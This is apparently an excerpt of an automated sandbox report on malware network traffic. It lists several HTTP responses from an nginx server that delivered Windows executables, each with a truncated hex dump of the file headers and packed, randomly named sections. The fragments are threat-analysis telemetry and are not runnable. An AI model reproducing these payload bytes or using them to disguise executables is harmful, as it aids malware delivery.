20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 64 6d 72 72 63 6b 65 00 b0 19 00 00 e0 30 00 00 a4 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6e 6e 6a 6c 64 67 6e 00 10 00 00 00 90 4a 00 00 04 00 00 00 9a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 9e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:50:13 GMTContent-Type: application/octet-streamContent-Length: 1872896Last-Modified: Fri, 29 Nov 2024 18:38:18 GMTConnection: keep-aliveETag: "674a0a1a-1c9400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 a4 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 05 00 00 10 00 00 00 58 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 50 05 00 00 02 00 00 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 05 00 00 02 00 00 00 6a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 61 76 78 6b 78 6e 75 00 00 1a 00 00 60 30 00 00 00 1a 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 79 68 6a 63 72 7a 63 00 10 00 00 00 60 4a 00 00 04 00 00 00 6e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4a 00 00 22 00 00 00 72 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:50:21 GMTContent-Type: application/octet-streamContent-Length: 1789952Last-Modified: Fri, 29 Nov 2024 18:38:25 GMTConnection: keep-aliveETag: "674a0a21-1b5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e8 97 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 8d 41 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 6d 77 66 73 6d 77 00 c0 19 00 00 10 4f 00 00 b2 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 76 73 61 79 70 6e 6e 00 10 00 00 00 d0 68 00 00 04 00 00 00 2a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 68 00 00 22 00 00 00 2e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:50:30 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Fri, 29 Nov 2024 18:36:32 GMTConnection: keep-aliveETag: "674a09b0-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a8 09 4a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 55 05 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 50 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:50:37 GMTContent-Type: application/octet-streamContent-Length: 2799616Last-Modified: Fri, 29 Nov 2024 18:36:58 GMTConnection: keep-aliveETag: "674a09ca-2ab800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 74 65 64 74 7a 6f 67 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 68 72 61 6a 70 79 00 20 00 00 00 00 2b 00 00 04 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:50:45 GMTContent-Type: application/octet-streamContent-Length: 2799616Last-Modified: Fri, 29 Nov 2024 18:37:00 GMTConnection: keep-aliveETag: "674a09cc-2ab800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 74 65 64 74 7a 6f 67 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 68 72 61 6a 70 79 00 20 00 00 00 00 2b 00 00 04 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:50:47 GMTContent-Type: application/octet-streamContent-Length: 4450816Last-Modified: Fri, 29 Nov 2024 18:13:29 GMTConnection: keep-aliveETag: "674a0449-43ea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 65 49 49 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 4f 00 00 d8 78 00 00 32 00 00 00 60 ca 00 00 10 00 00 00 60 4f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 ca 00 00 04 00 00 9f b6 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 30 76 00 73 00 00 00 00 20 76 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 3e ca 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3e ca 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 76 00 00 10 00 00 00 3c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 76 00 00 02 00 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 76 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 38 00 00 40 76 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 74 6d 63 72 75 7a 64 00 80 1b 00 00 d0 ae 00 00 72 1b 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 70 66 76 63 78 6f 69 00 10 00 00 00 50 ca 00 00 04 00 00 00 c4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 ca 00 00 22 00 00 00 c8 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:51:01 GMTContent-Type: application/octet-streamContent-Length: 1998848Last-Modified: Fri, 29 Nov 2024 18:30:35 GMTConnection: keep-aliveETag: "674a084b-1e8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 23 a2 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b f0 06 00 6f 00 00 00 00 60 06 00 34 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc d3 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 ae 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 34 82 00 00 00 60 06 00 00 3c 00 00 00 be 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 06 00 00 02 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 00 07 00 00 02 00 00 00 fc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 67 70 67 6c 66 72 68 00 60 1a 00 00 b0 30 00 00 5a 1a 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6f 73 71 61 69 7a 70 00 10 00 00 00 10 4b 00 00 06 00 00 00 58 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 